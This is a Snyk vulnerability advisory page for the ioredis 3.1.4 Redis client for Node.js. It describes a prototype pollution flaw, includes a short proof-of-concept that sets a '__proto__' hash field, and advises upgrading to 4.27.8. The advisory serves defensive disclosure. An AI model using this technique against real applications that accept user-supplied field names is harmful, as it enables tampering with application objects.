Homepage
About Snyk

ioredis@3.1.4 vulnerabilities

A robust, performance-focused and full-featured Redis client for Node.js.

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the ioredis package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

ioredis is a Redis client for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution. The reply transformer which is applied does not check for special field names. This only impacts applications that are directly allowing user-provided field names.

PoC

// Redis server running on localhost
const Redis = require("ioredis");
const client = new Redis();

async function f1() {
        await client.hset('test_key', ['__proto__', 'hello']);
        console.log('hget:', await client.hget('test_key', '__proto__')); // "hello"
        console.log('hgetall:', await client.hgetall('test_key')); // does not include __proto__: hello
}

f1();

How to fix Prototype Pollution?

Upgrade ioredis to version 4.27.8 or higher.

<4.27.8
Go back to all versions of this package